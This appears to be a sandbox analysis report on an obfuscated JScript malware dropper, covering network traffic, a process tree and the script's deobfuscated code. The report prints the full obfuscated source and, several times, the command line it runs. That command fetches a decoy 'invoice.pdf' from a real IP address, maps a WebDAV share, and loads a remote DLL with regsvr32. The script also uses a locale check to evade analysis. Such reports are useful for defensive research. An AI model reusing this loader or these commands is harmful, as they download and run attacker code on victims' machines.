Jan 10, 2025 20:05:23.040855885 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 20:05:23.040868044 CET	496	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 10, 2025 20:05:23.088597059 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7900	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:05:24.755409002 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:05:25.530930996 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:05:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:05:18
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1434827995831320526.js"
Imagebase:	0x7ff70cc90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:05:18
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll
Imagebase:	0x7ff70b1a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:05:18
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:05:19
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:05:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	14:05:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff70b1a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:05:23
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7d7890000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:05:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	14:05:24
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:05:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1660,i,5919774023336867443,16816310198096790642,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bvqbka() {	bvqbka() ➔ undefined
1	bgrjwub = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var dakvrr = this[bbrrcnxd + izystcq + cnnqbpccn + gebmft + zjhniht + arxwoad + qanylmkaj + fsqspupi] ( this[rvyoo + jarcjj + yxbap + cnnqbpccn + cdslbwd + bbrrcnxd + fsqspupi][xztfg + cnnqbpccn + zjhniht + izystcq + fsqspupi + zjhniht + dxsffxbay + ewyjwyu + aldgjfd + zjhniht + yxbap + fsqspupi] ( rvyoo + jarcjj + yxbap + cnnqbpccn + cdslbwd + bbrrcnxd + fsqspupi + bdkim + jarcjj + tofwejl + zjhniht + znkgkju + znkgkju ) [ftoekgem + zjhniht + oooaamg + ftoekgem + zjhniht + izystcq + tlvkc] ( wynixtx + sgwvjenrm + owlnhsmis + uutshkvxz + idjdmxar + xztfg + ozmckuknu + ftoekgem + ftoekgem + owlnhsmis + oaqbjufnn + rzttz + idjdmxar + ozmckuknu + jarcjj + owlnhsmis + ftoekgem + veehpw + xztfg + miiteg + qanylmkaj + fsqspupi + cnnqbpccn + miiteg + znkgkju + dmpqyxjn + arywjuin + izystcq + qanylmkaj + zjhniht + znkgkju + veehpw + arxwoad + qanylmkaj + fsqspupi + zjhniht + cnnqbpccn + qanylmkaj + izystcq + fsqspupi + cdslbwd + miiteg + qanylmkaj + izystcq + znkgkju + veehpw + xtcvnar + miiteg + yxbap + izystcq + znkgkju + zjhniht ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( oyjtujxt = 0 ; oyjtujxt < bgrjwub[znkgkju + zjhniht + qanylmkaj + oooaamg + fsqspupi + tofwejl] ; ++ oyjtujxt )
4	{
5	if ( dakvrr == bgrjwub[oyjtujxt] )
6	{
7	dakvrr = true;
8	break ;
9	}
10	}
11	if ( dakvrr !== true )
12	this[rvyoo + jarcjj + yxbap + cnnqbpccn + cdslbwd + bbrrcnxd + fsqspupi][dwuuz + cezlqadkg + cdslbwd + fsqspupi] ( );
13	this[rvyoo + jarcjj + yxbap + cnnqbpccn + cdslbwd + bbrrcnxd + fsqspupi][xztfg + cnnqbpccn + zjhniht + izystcq + fsqspupi + zjhniht + dxsffxbay + ewyjwyu + aldgjfd + zjhniht + yxbap + fsqspupi] ( rvyoo + jarcjj + yxbap + cnnqbpccn + cdslbwd + bbrrcnxd + fsqspupi + bdkim + jarcjj + tofwejl + zjhniht + znkgkju + znkgkju ) [cnnqbpccn + cezlqadkg + qanylmkaj] ( yxbap + vghiiy + tlvkc + dmpqyxjn + txkaj + yxbap + dmpqyxjn + bbrrcnxd + miiteg + jbgvuewd + zjhniht + cnnqbpccn + gebmft + tofwejl + zjhniht + znkgkju + znkgkju + bdkim + zjhniht + auhuqia + zjhniht + dmpqyxjn + inhmkx + xztfg + miiteg + vghiiy + vghiiy + izystcq + qanylmkaj + tlvkc + dmpqyxjn + sdhounp + arxwoad + qanylmkaj + ssdakwhk + miiteg + xpnkshmi + zjhniht + inhmkx + rvyoo + zjhniht + ewyjwyu + ftoekgem + zjhniht + xyvba + cezlqadkg + zjhniht + gebmft + fsqspupi + dmpqyxjn + inhmkx + dxsffxbay + cezlqadkg + fsqspupi + suowr + cdslbwd + znkgkju + zjhniht + dmpqyxjn + zagrneb + fsqspupi + zjhniht + vghiiy + bbrrcnxd + zagrneb + veehpw + cdslbwd + qanylmkaj + ssdakwhk + miiteg + cdslbwd + yxbap + zjhniht + bdkim + bbrrcnxd + tlvkc + kwxxgv + dmpqyxjn + tofwejl + fsqspupi + fsqspupi + bbrrcnxd + fhwfv + txkaj + txkaj + vzplrcra + qjtpjc + woyjtufjb + bdkim + vzplrcra + dtcevxtru + woyjtufjb + bdkim + vzplrcra + bdkim + jdrtgq + oftxrkub + pnowbmnx + txkaj + cdslbwd + qanylmkaj + ssdakwhk + miiteg + cdslbwd + yxbap + zjhniht + bdkim + bbrrcnxd + tofwejl + bbrrcnxd + sdhounp + xwlekmeb + xwlekmeb + gebmft + fsqspupi + izystcq + cnnqbpccn + fsqspupi + dmpqyxjn + zagrneb + fsqspupi + zjhniht + vghiiy + bbrrcnxd + zagrneb + veehpw + cdslbwd + qanylmkaj + ssdakwhk + miiteg + cdslbwd + yxbap + zjhniht + bdkim + bbrrcnxd + tlvkc + kwxxgv + xwlekmeb + xwlekmeb + yxbap + vghiiy + tlvkc + dmpqyxjn + txkaj + yxbap + dmpqyxjn + qanylmkaj + zjhniht + fsqspupi + dmpqyxjn + cezlqadkg + gebmft + zjhniht + dmpqyxjn + veehpw + veehpw + vzplrcra + qjtpjc + woyjtufjb + bdkim + vzplrcra + dtcevxtru + woyjtufjb + bdkim + vzplrcra + bdkim + jdrtgq + oftxrkub + pnowbmnx + bwkztyym + oozjw + oozjw + oozjw + oozjw + veehpw + tlvkc + izystcq + ssdakwhk + jbgvuewd + jbgvuewd + jbgvuewd + cnnqbpccn + miiteg + miiteg + fsqspupi + veehpw + xwlekmeb + xwlekmeb + yxbap + vghiiy + tlvkc + dmpqyxjn + txkaj + yxbap + dmpqyxjn + cnnqbpccn + zjhniht + oooaamg + gebmft + ssdakwhk + cnnqbpccn + woyjtufjb + jdrtgq + dmpqyxjn + txkaj + gebmft + dmpqyxjn + veehpw + veehpw + vzplrcra + qjtpjc + woyjtufjb + bdkim + vzplrcra + dtcevxtru + woyjtufjb + bdkim + vzplrcra + bdkim + jdrtgq + oftxrkub + pnowbmnx + bwkztyym + oozjw + oozjw + oozjw + oozjw + veehpw + tlvkc + izystcq + ssdakwhk + jbgvuewd + jbgvuewd + jbgvuewd + cnnqbpccn + miiteg + miiteg + fsqspupi + veehpw + vzplrcra + pnowbmnx + eamphb + ozyrert + jdrtgq + jdrtgq + jdrtgq + vzplrcra + jdrtgq + vzplrcra + eamphb + eamphb + oozjw + ozyrert + bdkim + tlvkc + znkgkju + znkgkju, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll",0,false) ➔ 0
14	}
15	rvyoo = "B";
16	rvyoo = "r";
17	rvyoo = "P";
18	rvyoo = "S";
19	rvyoo = "r";
20	rvyoo = "K";
21	rvyoo = "a";
22	rvyoo = "G";
23	rvyoo = "O";
24	rvyoo = "W";
25	rvyoo = "n";
26	rvyoo = "t";
27	rvyoo = "S";
28	rvyoo = "C";
29	rvyoo = "A";
30	rvyoo = "H";
31	rvyoo = "z";
32	rvyoo = "P";
33	rvyoo = "G";
34	rvyoo = "G";
35	rvyoo = "n";
36	rvyoo = "a";
37	rvyoo = "U";
38	rvyoo = "e";
39	rvyoo = "K";
40	rvyoo = "O";
41	rvyoo = "S";
42	rvyoo = "B";
43	rvyoo = "r";
44	rvyoo = "A";
45	rvyoo = "h";
46	rvyoo = "z";
47	rvyoo = "z";
48	rvyoo = "S";
49	rvyoo = "W";
50	xpnkshmi = "t";
51	xpnkshmi = "h";
52	xpnkshmi = "X";
53	xpnkshmi = "Y";
54	xpnkshmi = "N";
55	xpnkshmi = "B";
56	xpnkshmi = "j";
57	xpnkshmi = "H";
58	xpnkshmi = "h";
59	xpnkshmi = "E";
60	xpnkshmi = "p";
61	xpnkshmi = "M";
62	xpnkshmi = "p";
63	xpnkshmi = "q";
64	xpnkshmi = "p";
65	xpnkshmi = "t";
66	xpnkshmi = "r";
67	xpnkshmi = "Y";
68	xpnkshmi = "W";
69	xpnkshmi = "k";
70	xpnkshmi = "e";
71	xpnkshmi = "U";
72	xpnkshmi = "k";
73	inhmkx = "A";
74	inhmkx = "f";
75	inhmkx = "e";
76	inhmkx = "e";
77	inhmkx = "a";
78	inhmkx = "U";
79	inhmkx = "J";
80	inhmkx = "K";
81	inhmkx = "I";
82	inhmkx = "Y";
83	inhmkx = "L";
84	inhmkx = "I";
85	inhmkx = "y";
86	inhmkx = "S";
87	inhmkx = "U";
88	inhmkx = "u";
89	inhmkx = "i";
90	inhmkx = "n";
91	inhmkx = "Q";
92	inhmkx = "N";
93	inhmkx = "U";
94	inhmkx = "y";
95	inhmkx = "Y";
96	inhmkx = "C";
97	inhmkx = "m";
98	inhmkx = "V";
99	inhmkx = "-";
100	cezlqadkg = "j";
101	cezlqadkg = "c";
102	cezlqadkg = "F";
103	cezlqadkg = "E";
104	cezlqadkg = "D";
105	cezlqadkg = "A";
106	cezlqadkg = "F";
107	cezlqadkg = "t";
108	cezlqadkg = "Z";
109	cezlqadkg = "R";
110	cezlqadkg = "o";
111	cezlqadkg = "L";
112	cezlqadkg = "z";
113	cezlqadkg = "E";
114	cezlqadkg = "y";
115	cezlqadkg = "A";
116	cezlqadkg = "n";
117	cezlqadkg = "s";
118	cezlqadkg = "Y";
119	cezlqadkg = "u";
120	dxsffxbay = "M";
121	dxsffxbay = "l";
122	dxsffxbay = "n";
123	dxsffxbay = "a";
124	dxsffxbay = "l";
125	dxsffxbay = "o";
126	dxsffxbay = "B";
127	dxsffxbay = "T";
128	dxsffxbay = "M";
129	dxsffxbay = "H";
130	dxsffxbay = "B";
131	dxsffxbay = "B";
132	dxsffxbay = "R";
133	dxsffxbay = "O";
134	ssdakwhk = "d";
135	ssdakwhk = "Y";
136	ssdakwhk = "H";
137	ssdakwhk = "f";
138	ssdakwhk = "Z";
139	ssdakwhk = "z";
140	ssdakwhk = "i";
141	ssdakwhk = "P";
142	ssdakwhk = "v";
143	ssdakwhk = "k";
144	ssdakwhk = "s";
145	ssdakwhk = "t";
146	ssdakwhk = "N";
147	ssdakwhk = "H";
148	ssdakwhk = "l";
149	ssdakwhk = "p";
150	ssdakwhk = "v";
151	owlnhsmis = "R";
152	owlnhsmis = "E";
153	owlnhsmis = "o";
154	owlnhsmis = "R";
155	owlnhsmis = "S";
156	owlnhsmis = "q";
157	owlnhsmis = "X";
158	owlnhsmis = "P";
159	owlnhsmis = "u";
160	owlnhsmis = "m";
161	owlnhsmis = "G";
162	owlnhsmis = "L";
163	owlnhsmis = "m";
164	owlnhsmis = "o";
165	owlnhsmis = "W";
166	owlnhsmis = "M";
167	owlnhsmis = "f";
168	owlnhsmis = "d";
169	owlnhsmis = "a";
170	owlnhsmis = "K";
171	owlnhsmis = "Z";
172	owlnhsmis = "o";
173	owlnhsmis = "E";
174	ewyjwyu = "x";
175	ewyjwyu = "I";
176	ewyjwyu = "A";
177	ewyjwyu = "K";
178	ewyjwyu = "H";
179	ewyjwyu = "m";
180	ewyjwyu = "b";
181	ewyjwyu = "z";
182	ewyjwyu = "j";
183	ewyjwyu = "O";
184	ewyjwyu = "d";
185	ewyjwyu = "h";
186	ewyjwyu = "Q";
187	ewyjwyu = "x";
188	ewyjwyu = "B";
189	ewyjwyu = "b";
190	rzttz = "D";
191	rzttz = "L";
192	rzttz = "c";
193	rzttz = "q";
194	rzttz = "N";
195	rzttz = "u";
196	rzttz = "q";
197	rzttz = "v";
198	rzttz = "d";
199	rzttz = "o";
200	rzttz = "V";
201	rzttz = "r";
202	rzttz = "Q";
203	rzttz = "R";
204	rzttz = "H";
205	rzttz = "F";
206	rzttz = "p";
207	rzttz = "r";
208	rzttz = "G";
209	rzttz = "f";
210	rzttz = "l";
211	rzttz = "I";
212	rzttz = "S";
213	rzttz = "N";
214	rzttz = "W";
215	rzttz = "n";
216	rzttz = "o";
217	rzttz = "N";
218	rzttz = "J";
219	rzttz = "L";
220	rzttz = "M";
221	rzttz = "q";
222	rzttz = "z";
223	rzttz = "Q";
224	rzttz = "k";
225	rzttz = "V";
226	rzttz = "T";
227	veehpw = "B";
228	veehpw = "M";
229	veehpw = "C";
230	veehpw = "k";
231	veehpw = "n";
232	veehpw = "F";
233	veehpw = "M";
234	veehpw = "c";
235	veehpw = "e";
236	veehpw = "d";
237	veehpw = "u";
238	veehpw = "D";
239	veehpw = "p";
240	veehpw = "f";
241	veehpw = "u";
242	veehpw = "X";
243	veehpw = "d";
244	veehpw = "r";
245	veehpw = "D";
246	veehpw = "V";
247	veehpw = "P";
248	veehpw = "z";
249	veehpw = "X";
250	veehpw = "R";
251	veehpw = "L";
252	veehpw = "u";
253	veehpw = "x";
254	veehpw = "Z";
255	veehpw = "g";
256	veehpw = "n";
257	veehpw = "R";
258	veehpw = "y";
259	veehpw = "Y";
260	veehpw = "P";
261	veehpw = "s";
262	veehpw = "W";
263	veehpw = "V";
264	veehpw = "\\";
265	wynixtx = "t";
266	wynixtx = "o";
267	wynixtx = "v";
268	wynixtx = "g";
269	wynixtx = "q";
270	wynixtx = "a";
271	wynixtx = "a";
272	wynixtx = "P";
273	wynixtx = "a";
274	wynixtx = "s";
275	wynixtx = "U";
276	wynixtx = "C";
277	wynixtx = "z";
278	wynixtx = "K";
279	wynixtx = "O";
280	wynixtx = "e";
281	wynixtx = "C";
282	wynixtx = "p";
283	wynixtx = "O";
284	wynixtx = "S";
285	wynixtx = "w";
286	wynixtx = "B";
287	wynixtx = "T";
288	wynixtx = "n";
289	wynixtx = "L";
290	wynixtx = "A";
291	wynixtx = "Q";
292	wynixtx = "G";
293	wynixtx = "u";
294	wynixtx = "x";
295	wynixtx = "G";
296	wynixtx = "q";
297	wynixtx = "X";
298	wynixtx = "u";
299	wynixtx = "A";
300	wynixtx = "g";
301	wynixtx = "H";
302	xtcvnar = "N";
303	xtcvnar = "M";
304	xtcvnar = "B";
305	xtcvnar = "q";
306	xtcvnar = "W";
307	xtcvnar = "A";
308	xtcvnar = "O";
309	xtcvnar = "t";
310	xtcvnar = "s";
311	xtcvnar = "Y";
312	xtcvnar = "E";
313	xtcvnar = "R";
314	xtcvnar = "M";
315	xtcvnar = "Z";
316	xtcvnar = "j";
317	xtcvnar = "L";
318	izystcq = "i";
319	izystcq = "W";
320	izystcq = "Z";
321	izystcq = "Z";
322	izystcq = "Y";
323	izystcq = "G";
324	izystcq = "B";
325	izystcq = "K";
326	izystcq = "G";
327	izystcq = "d";
328	izystcq = "V";
329	izystcq = "u";
330	izystcq = "a";
331	izystcq = "o";
332	izystcq = "L";
333	izystcq = "F";
334	izystcq = "M";
335	izystcq = "e";
336	izystcq = "o";
337	izystcq = "a";
338	izystcq = "z";
339	izystcq = "M";
340	izystcq = "u";
341	izystcq = "h";
342	izystcq = "Z";
343	izystcq = "U";
344	izystcq = "G";
345	izystcq = "U";
346	izystcq = "B";
347	izystcq = "i";
348	izystcq = "R";
349	izystcq = "a";
350	oaqbjufnn = "t";
351	oaqbjufnn = "Q";
352	oaqbjufnn = "A";
353	oaqbjufnn = "s";
354	oaqbjufnn = "n";
355	oaqbjufnn = "N";
356	oaqbjufnn = "d";
357	oaqbjufnn = "e";
358	oaqbjufnn = "l";
359	oaqbjufnn = "T";
360	oaqbjufnn = "C";
361	oaqbjufnn = "O";
362	oaqbjufnn = "G";
363	oaqbjufnn = "p";
364	oaqbjufnn = "w";
365	oaqbjufnn = "D";
366	oaqbjufnn = "h";
367	oaqbjufnn = "v";
368	oaqbjufnn = "s";
369	oaqbjufnn = "o";
370	oaqbjufnn = "n";
371	oaqbjufnn = "k";
372	oaqbjufnn = "d";
373	oaqbjufnn = "Z";
374	oaqbjufnn = "u";
375	oaqbjufnn = "m";
376	oaqbjufnn = "N";
377	zjhniht = "s";
378	zjhniht = "F";
379	zjhniht = "t";
380	zjhniht = "I";
381	zjhniht = "I";
382	zjhniht = "g";
383	zjhniht = "M";
384	zjhniht = "g";
385	zjhniht = "C";
386	zjhniht = "f";
387	zjhniht = "Y";
388	zjhniht = "z";
389	zjhniht = "Y";
390	zjhniht = "D";
391	zjhniht = "h";
392	zjhniht = "s";
393	zjhniht = "g";
394	zjhniht = "o";
395	zjhniht = "b";
396	zjhniht = "c";
397	zjhniht = "t";
398	zjhniht = "G";
399	zjhniht = "O";
400	zjhniht = "j";
401	zjhniht = "j";
402	zjhniht = "n";
403	zjhniht = "Y";
404	zjhniht = "X";
405	zjhniht = "t";
406	zjhniht = "w";
407	zjhniht = "Z";
408	zjhniht = "s";
409	zjhniht = "A";
410	zjhniht = "W";
411	zjhniht = "J";
412	zjhniht = "J";
413	zjhniht = "U";
414	zjhniht = "f";
415	zjhniht = "X";
416	zjhniht = "M";
417	zjhniht = "N";
418	zjhniht = "F";
419	zjhniht = "v";
420	zjhniht = "e";
421	tofwejl = "q";
422	tofwejl = "F";
423	tofwejl = "c";
424	tofwejl = "Q";
425	tofwejl = "l";
426	tofwejl = "h";
427	vzplrcra = "W";
428	vzplrcra = "A";
429	vzplrcra = "v";
430	vzplrcra = "h";
431	vzplrcra = "1";
432	vghiiy = "L";
433	vghiiy = "U";
434	vghiiy = "y";
435	vghiiy = "H";
436	vghiiy = "M";
437	vghiiy = "q";
438	vghiiy = "T";
439	vghiiy = "E";
440	vghiiy = "Q";
441	vghiiy = "V";
442	vghiiy = "E";
443	vghiiy = "y";
444	vghiiy = "w";
445	vghiiy = "F";
446	vghiiy = "V";
447	vghiiy = "l";
448	vghiiy = "n";
449	vghiiy = "K";
450	vghiiy = "A";
451	vghiiy = "M";
452	vghiiy = "Z";
453	vghiiy = "m";
454	vghiiy = "V";
455	vghiiy = "P";
456	vghiiy = "A";
457	vghiiy = "V";
458	vghiiy = "u";
459	vghiiy = "m";
460	oftxrkub = "m";
461	oftxrkub = "f";
462	oftxrkub = "R";
463	oftxrkub = "k";
464	oftxrkub = "K";
465	oftxrkub = "M";
466	oftxrkub = "D";
467	oftxrkub = "a";
468	oftxrkub = "q";
469	oftxrkub = "j";
470	oftxrkub = "d";
471	oftxrkub = "G";
472	oftxrkub = "l";
473	oftxrkub = "o";
474	oftxrkub = "j";
475	oftxrkub = "C";
476	oftxrkub = "B";
477	oftxrkub = "N";
478	oftxrkub = "p";
479	oftxrkub = "O";
480	oftxrkub = "h";
481	oftxrkub = "B";
482	oftxrkub = "D";
483	oftxrkub = "N";
484	oftxrkub = "a";
485	oftxrkub = "O";
486	oftxrkub = "J";
487	oftxrkub = "n";
488	oftxrkub = "r";
489	oftxrkub = "p";
490	oftxrkub = "v";
491	oftxrkub = "j";
492	oftxrkub = "s";
493	oftxrkub = "O";
494	oftxrkub = "0";
495	qanylmkaj = "H";
496	qanylmkaj = "o";
497	qanylmkaj = "J";
498	qanylmkaj = "P";
499	qanylmkaj = "K";
500	qanylmkaj = "q";
501	qanylmkaj = "W";
502	qanylmkaj = "M";
503	qanylmkaj = "n";
504	dwuuz = "k";
505	dwuuz = "C";
506	dwuuz = "x";
507	dwuuz = "f";
508	dwuuz = "R";
509	dwuuz = "M";
510	dwuuz = "Z";
511	dwuuz = "j";
512	dwuuz = "s";
513	dwuuz = "A";
514	dwuuz = "i";
515	dwuuz = "Q";
516	dwuuz = "d";
517	dwuuz = "T";
518	dwuuz = "t";
519	dwuuz = "r";
520	dwuuz = "k";
521	dwuuz = "f";
522	dwuuz = "a";
523	dwuuz = "M";
524	dwuuz = "y";
525	dwuuz = "T";
526	dwuuz = "P";
527	dwuuz = "N";
528	dwuuz = "p";
529	dwuuz = "s";
530	dwuuz = "Q";
531	dmpqyxjn = "V";
532	dmpqyxjn = "S";
533	dmpqyxjn = "W";
534	dmpqyxjn = "d";
535	dmpqyxjn = "x";
536	dmpqyxjn = "Q";
537	dmpqyxjn = "v";
538	dmpqyxjn = "b";
539	dmpqyxjn = "S";
540	dmpqyxjn = "Y";
541	dmpqyxjn = "L";
542	dmpqyxjn = "u";
543	dmpqyxjn = "g";
544	dmpqyxjn = "H";
545	dmpqyxjn = "Y";
546	dmpqyxjn = "N";
547	dmpqyxjn = "a";
548	dmpqyxjn = "e";
549	dmpqyxjn = "J";
550	dmpqyxjn = "h";
551	dmpqyxjn = "g";
552	dmpqyxjn = "s";
553	dmpqyxjn = "Y";
554	dmpqyxjn = "X";
555	dmpqyxjn = "d";
556	dmpqyxjn = "l";
557	dmpqyxjn = "H";
558	dmpqyxjn = "L";
559	dmpqyxjn = "s";
560	dmpqyxjn = "R";
561	dmpqyxjn = "O";
562	dmpqyxjn = "z";
563	dmpqyxjn = "j";
564	dmpqyxjn = "q";
565	dmpqyxjn = "y";
566	dmpqyxjn = "C";
567	dmpqyxjn = "G";
568	dmpqyxjn = "s";
569	dmpqyxjn = "w";
570	dmpqyxjn = "m";
571	dmpqyxjn = " ";
572	yxbap = "V";
573	yxbap = "y";
574	yxbap = "f";
575	yxbap = "X";
576	yxbap = "q";
577	yxbap = "G";
578	yxbap = "B";
579	yxbap = "m";
580	yxbap = "V";
581	yxbap = "h";
582	yxbap = "S";
583	yxbap = "C";
584	yxbap = "v";
585	yxbap = "m";
586	yxbap = "d";
587	yxbap = "D";
588	yxbap = "R";
589	yxbap = "d";
590	yxbap = "g";
591	yxbap = "P";
592	yxbap = "c";
593	yxbap = "d";
594	yxbap = "y";
595	yxbap = "j";
596	yxbap = "c";
597	sdhounp = "j";
598	sdhounp = "V";
599	sdhounp = "g";
600	sdhounp = "J";
